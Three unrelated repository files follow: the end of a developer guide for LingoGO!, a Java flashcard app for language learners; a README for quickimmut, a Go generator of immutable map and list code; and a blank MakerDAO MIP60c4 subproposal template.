In order to generate a list of random flashcards, a random stream of `Index` is used to get the flashcards from the main list of flashcards.

The sequence diagram below illustrates the execution of `ListCommand`.

![ListSequenceDiagram](images/ListSequenceDiagram.png)

#### Design considerations:

**Aspect: Generating list of flashcards:**

* **Alternative 1 (current choice):** Randomise the list of flashcards
    * Pros: Users are able to use flashcards more effectively.
    * Cons: Harder to implement and more difficult to test (due to random stream of `Index`).

* **Alternative 2:** Output list up to `n`
    * Pros: Easy to implement.
    * Cons: Does not add value to the user's learning experience.

--------------------------------------------------------------------------------------------------------------------

## **Documentation, logging, testing, configuration, dev-ops**

* [Documentation guide](Documentation.md)
* [Testing guide](Testing.md)
* [Logging guide](Logging.md)
* [Configuration guide](Configuration.md)
* [DevOps guide](DevOps.md)

--------------------------------------------------------------------------------------------------------------------

## **Appendix A: Product Scope**

### Target user profile

University students
* Whose first language is English
* Who are learning a new language

### Value proposition

* Fast way to generate flashcards to learn new languages.
* Help students memorise words when learning a new language.
* Gamified features such as recording of scores and tracking of improvements to make learning engaging and encourage continued usage.

--------------------------------------------------------------------------------------------------------------------

## **Appendix B: User Stories**

**Categories:** Usage pattern, user behaviours, general user, multiple language user, user learning style, user learning 'rate', level of experience, user collaboration

**Priorities:** High (must have) - `* * *`, Medium (nice to have) - `* *`, Low (unlikely to have) - `*`

| Priority | Category | As a/an... | I want to... | So that I...
| -------- | -------- | ---------- | ------------ | ----------------
|***| Level of experience | new user | be guided through the set-up process of a flashcard | can use LingoGo! Properly
|***| General user | user | be able to add new flash cards |
|***| General user | user | be able to delete my flashcards |
|***| General user | user | be able to list my flashcards |
|***| General user | user | be able to test myself and view my performance using flashcards |
|***| General user | user | be able to update my flashcards |
|***| User behaviours | lazy user | automatically generate cards by typing in the vocabulary | don't have to spend time manually creating cards
|**| Level of experience | experienced user | be able to delete multiple flashcards that are no longer relevant to me (multi-delete function) |
|**| Level of experience | new user | have a basic set of flashcards available from the get go | can reduce the setup time or reduce the need for setup
|**| Multiple language user | user who is learning multiple languages | be able to combine flashcards of the same question in different languages | can test myself in all the languages that I have learnt in one go
|**| Usage patterns | frequent user | be able to jumble up my flashcards | am really testing my vocabulary instead of just memorising without really knowing the vocabulary
|**| User collaboration | helpful user | be able to export and share my flashcards with my friends | can help them save time in generating their own set of flashcards (and they can help me too!)
|*| General user | user | be able to tag my flashcards under the categories I specify (e.g. easy, medium, for fun, nouns, etc.) | organise my flashcards easily
|*| General user | user | see the summary statistics over a period of time | can track my progress
|*| General user | user | use the app in another language |
|*| Level of experience | expert user | be able to set up questions in batches | can prepare flashcards faster
|*| Level of experience | long-time user | be able to archive my flashcards that I may not have used for a long time | can retrieve them in future should I want to use them
|*| Level of experience | long-time user | be able to delete flashcards that have not been used for over a year | only have the flashcards that are relevant to me
|*| Level of experience | long-time user | be able to quickly search through my large library of cards easily and quickly |
|*| Level of experience | new user | have intuitive UI and commands | can get started easily
|*| Multiple language user | user who is learning multiple languages | be able to load different question sets and store my questions in different files |
|*| Usage patterns | active user with hundred of cards already made | be automatically given a list of cards to test my memory | can efficiently expand my vocabulary
|*| Usage patterns | forgetful user (who forgets about LingoGO!) | be reminded about using flashcards | can be actively learning new vocabularies instead of just cramming them at the last minute
|*| Usage patterns | frequent user | be able to load up cards done x days ago | can test my memory retention of the words I learned that day
|*| User behaviours | mobile user | be able to access my cards wherever I am, on the go |
|*| User behaviours | organised user (who prepares flashcards based on languages) | I want to be able to combine different decks of flashcards | can prepare for my major exams (eg. mid-terms, finals)
|*| User behaviours | user who learns better when things are in hardcopy | have a convenient way to print out the flashcards | do not have to manually format the card design
|*| User behaviours | user who seeks improvement | see the progress made in terms of scores | can visualize my improvement
|*| User collaboration | competitive user | be able to compete with my friends based on how fast and how mnay flashcards we can get correct | will be more motivated to learn
|*| User learning 'rate' | slow/fast learner | adjust the frequency at which the cards will be tested | can better suit my pace of learning
|*| User learning 'rate' | slow learner | have cards with words I don't remember to be shown more often to reinforce my learning |
|*| User learning style | auditory user | hear the vocabulary that I stored in the flashcard | can better memorize the words by sound
|*| User learning style | visual learner | color code my flashcards | can better memorize the words by category
|*| User learning style | visual learner | use pictures instead of words as the question part of my flashcard | can remember the vocabulary easier

--------------------------------------------------------------------------------------------------------------------

## **Appendix C: Use Cases**

(For all use cases below, the **System** is `LingoGO!` and the **Actor** is the `user`, unless specified otherwise)

### Use case: List all flashcards

**MSS**
1. User requests to list out all flashcards.
2. LingoGO! shows a list of all the flashcards.

   Use case ends.

### Use case: List n flashcards

**MSS**
1. User requests to list out n number of flashcards.
2. LingoGO! randomly selects n number of flashcards to be shown in the list of flashcards.

   Use case ends.

**Extensions**
* 1a. The given user input is invalid (e.g. `list abc` or `list -1`)
    * 1a1. LingoGO! shows an error message.

      Use case resumes at step 1.

* 1b. The given user input is larger than the total flashcards
    * 1b1. LingoGO! shows an error message.

      Use case resumes at step 1.

### Use case: Add a flashcard

**Guarantees**
* A flashcard is added only if all of its information is provided.

**MSS**
1. User requests to add a new flashcard.
2. User provides information regarding the flashcard they want to add.
3. LingoGO! creates and adds a new flashcard.

   Use case ends.

**Extensions**
* 2a. Flashcard that the user wants to add is a duplicate of a flashcard already present in LingoGO!
    * 2a1. LingoGO! shows an error message.

      Use case resumes at step 1.

* 2b. Information provided by the user in incomplete.
    * 2b1. LingoGO! shows an error message.

      Use case resumes at step 1.

### Delete a flashcard

**MSS**
1. User requests to list out all flashcards.
2. LingoGO! shows a list of flashcards.
3. User requests to delete a specific flashcard from the list.
4. LingoGO! deletes the flashcard.

   Use case ends.

**Extensions**
* 2a. The list is empty.

  Use case ends.

* 3a. The given index is invalid.
    * 3a1. LingoGO! shows an error message.

      Use case resumes at step 2.

### Edit a flashcard

**Guarantees**
* A flashcard will be edited only if the edited information provided is valid.

**MSS**
1.  User requests to list out all flashcards.
2.  LingoGO! shows a list of flashcards.
3.  User requests to edit a specific flashcard from the list.
4.  User provides the updated information for the flashcard.
5.  LingoGO! updates the flashcard with the information.

    Use case ends.

**Extensions**
* 2a. The list is empty.

  Use case ends.

* 3a. The given index is invalid.
    * 3a1. LingoGO! shows an error message.

      Use case resumes at step 2.

* 4a. The user does not provide any information.
    * 4a1. LingoGO! shows an error message.

      Use case resumes at step 2.

* 4b. The user provides information that causes the flashcard to become a duplicate of another flashcard in LingoGO!
    * 4b1. LingoGO! shows an error message.

      Use case resumes at step 2.

### Find a flashcard

**MSS**
1. User requests to find a flashcard based on its English or Foreign value.
2. LingoGO! shows a list of flashcards that contains the keyword given by the user.

   Use case ends.

**Extensions**
* 1a. The given user input is invalid.
    * 1a1. LingoGO! shows an error message.

      Use case resumes at step 1.

### Import flashcards

**Guarantees**
* Flashcards will only be imported if the information provided is complete.

**MSS**
1. User creates a file containing information about flashcard questions and their corresponding answers.
2. User requests to import the information in the file into LingoGO!
3. LingoGO! creates and adds new flashcards to the current list of flashcards according to the information provided
   in the file.

   Use case ends.

**Extensions**
* 2a. Information provided in the file is incomplete.
    * 2a1. LingoGO! shows an error message.
    * 2a2. User checks and edits the file to fill in any missing information.

      Steps 2a1-2a2 are repeated until the data in the file is complete.

      Use case resumes from step 3.

* 2b. One or more flashcards in the file are duplicates of flashcards currently in LingoGO!
    * 2b1. LingoGO! shows a warning message.

      Use case resumes from step 3, with LingoGO! skipping the creation and addition of the duplicate flashcards.

### Export flashcards

**MSS**
1. User requests to export all flashcards.
2. LingoGO! creates a file containing all information on each flashcard.

   Use case ends.

**Extensions**
* 1a. There are no flashcards present.
    * 1a1. LingoGO! shows a warning message.

      Use case ends.

* 1b. The file name and file path is not specified.
    * 1b1. LingoGO! creates a file with a default name in a default directory that will contain all information on each
      flashcard.

      Use case ends.

### Getting help

**MSS**
1. User requests for help.
2. LingoGO! shows user a help message.

   Use case ends.

--------------------------------------------------------------------------------------------------------------------

## **Appendix D: Non-Functional Requirements**

1. Should work on any _mainstream OS_ as long as it has Java `11` or above installed.
2. Should be able to hold up to 1000 flashcards without a noticeable sluggishness in performance for typical usage.
3. A user with above average typing speed for regular English text (i.e. not code, not system admin commands) should be able to accomplish most of the tasks faster using commands than using the mouse.
4. Should be usable to someone who has never used flashcards before.

--------------------------------------------------------------------------------------------------------------------

## **Appendix E: Glossary**

* **Mainstream OS**: Windows, Linux, Unix, OS-X
* **Flashcard**: A memory aid that users can use to input a phrase or word in the language that they are learning
  along with a hidden translation

--------------------------------------------------------------------------------------------------------------------

# **Appendix F: Instructions for Manual Testing**

Given below are instructions to test the app manually.

:information_source: **Note:** These instructions only provide a starting point for testers to work on;
testers are expected to do more *exploratory* testing.

### Launch and Shutdown

1. Initial launch

   1. Download the jar file and copy into an empty folder.

   2. Double-click the jar file

       Expected: Shows the GUI with a set of sample flashcards. The window size may not be optimum.

1. Saving window preferences

   1. Resize the window to an optimum size. Move the window to a different location. Close the window.

   1. Re-launch the app by double-clicking the jar file

       Expected: The most recent window size and location is retained.

### Deleting a Flashcard

1. Deleting a flashcard while all flashcards are listed

   1. Prerequisites: List all flashcards using the `list` command. Multiple flashcards are in the list.

   1. Test case: `delete 1`

      Expected: First flashcard is deleted from the list. Details of the deleted flashcard (e.g. Language type, English Phrase, Foreign Phrase) shown in the command result. Command box will be cleared.

   1. Test case: `delete 0`

      Expected: No flashcard is deleted. Error details (e.g. Error type and Message Usage) shown in the command result. The `delete 0` command will remain in the command box.

   1. Other incorrect delete commands to try: `delete`, `delete x`, `...` (where x is larger than the list size)

      Expected: Similar to previous.

_{ more test cases to be added in future … }_

repository: kwokieee/tp

gha_language: Java

gha_license_id: NOASSERTION

repo_name: kwokieee/tp


text:
quickimmut, a golang code generator
===================================

quickimmut spits out short little blots of golang source code which provide immutable maps and lists.

The output is on standard out, and should be piped to a file (or, use the `-output` flag).
A package name is not prefixed to the output; do that yourself first (this makes it easier to combine several outputs into one file).

The way I'd typically use this is by writing a file with its own generation instructions at the top:

```go
package zowwie

// Code generated by go:generate comments in this file.  DO NOT EDIT below the dashed line.
//
//go:generate sed -i /---/q thisfile.go
//go:generate quickimmut -output=thisfile.go list Foo
//go:generate quickimmut -output=thisfile.go map Foo Bar
//
// ---

// [stuff down here gets nuked and regenerated]
```

Immutability in golang is tricky
--------------------------------

Immutability in a language that doesn't have first class features in it is always tricky.

In Golang it's double-tricky because we don't have generics, so we can't really match the UX of the built-in maps nor lists,
and have to make a lot of interesting twists and turns to try to get reasonable ways to handle those.
(Maybe the in-progress Golang generics will solve this.  I don't know.)

If you'd like to poke about this yourself, here are some Golang Playground snippets I used as experiments:

- https://play.golang.org/p/XoGwVd8zOI0 -- an approach with unexported types... that doesn't work.
- https://play.golang.org/p/N51oP-xdaHZ -- an approach with varargs... that doens't work.
- https://play.golang.org/p/WO4cZW0e5i4 -- another approach with unexported types... that doesn't work.
- https://play.golang.org/p/a-DqVuGOfmn -- an approach for maps that **does** work -- and is the basis for what this tool generates.
- https://play.golang.org/p/YMDuCUCrf-4 -- an approach for lists that **does** work -- and is the basis for what this tool generates.

Should I use this?
------------------

This is definitely one of those "provided without warranty, nor guarantee of merchantability or fitness for a particular purpose" projects.

One might argue that golang isn't really meant to be good at immutability.  One might even carry that so far as arguing it's pointless to try.  One wouldn't be wrong, necessarily.

Use it if it feels like it's going to help you.  Don't if it doesn't.

Caveats
-------

- If you generate unexported types, you won't be able to represent the difference between a nil list and a zero-length list from outside the package.
- Probably other things suck.  It's computers, I dunno.

Generics?
---------

This is pre-generics.

I have no idea if it will remain reasonable-looking after golang's generics are fully shipped.

License
-------

SPDX-License-Identifier: Apache-2.0 OR MIT

repository: warpfork/go-quickimmut

repo_name: warpfork/go-quickimmut


text:
# MIP60c4: Subproposal Template for Intangible Asset Contested Modification of Management

## Preamble
```
MIP60c4-SP#: #
Author(s):
Contributors:
Tags:
Status:
Date Proposed: <yyyy-mm-dd>
Date Ratified: <yyyy-mm-dd>
```

## Sentence Summary

- A description of what the subproposal is supposed to resolve. Suggest 30 words max.

## Paragraph Summary

- A description of what the subproposal is supposed to resolve. Suggest 100 words max.

## Specification

### Asset(s)

- List the modified assets and managers using the following template:

#### asset name

> **Asset Type:** <subdomain/twitter/etc>
> **Asset Owner:** <DAI Foundation/etc>
> **Platform Manager:** <core-unit/individual/etc> (<contact email>)
> **Content Manager:** <core-unit/individual/etc> (<contact email>)
> **Purpose:** <purpose (short)>
> **Last Modification:** <link to last modification>

### Record

- Link to Open PR containing the changes to MIP60c2.

### Reason for Modification

- Why is these changes being proposed?

### Context and Motivation

- Why is this intangible asset assignment contested?

### Relevant Links

- Any supporting evidence, forum discussions, etc.

repository: andydobrucki/mips

repo_name: andydobrucki/mips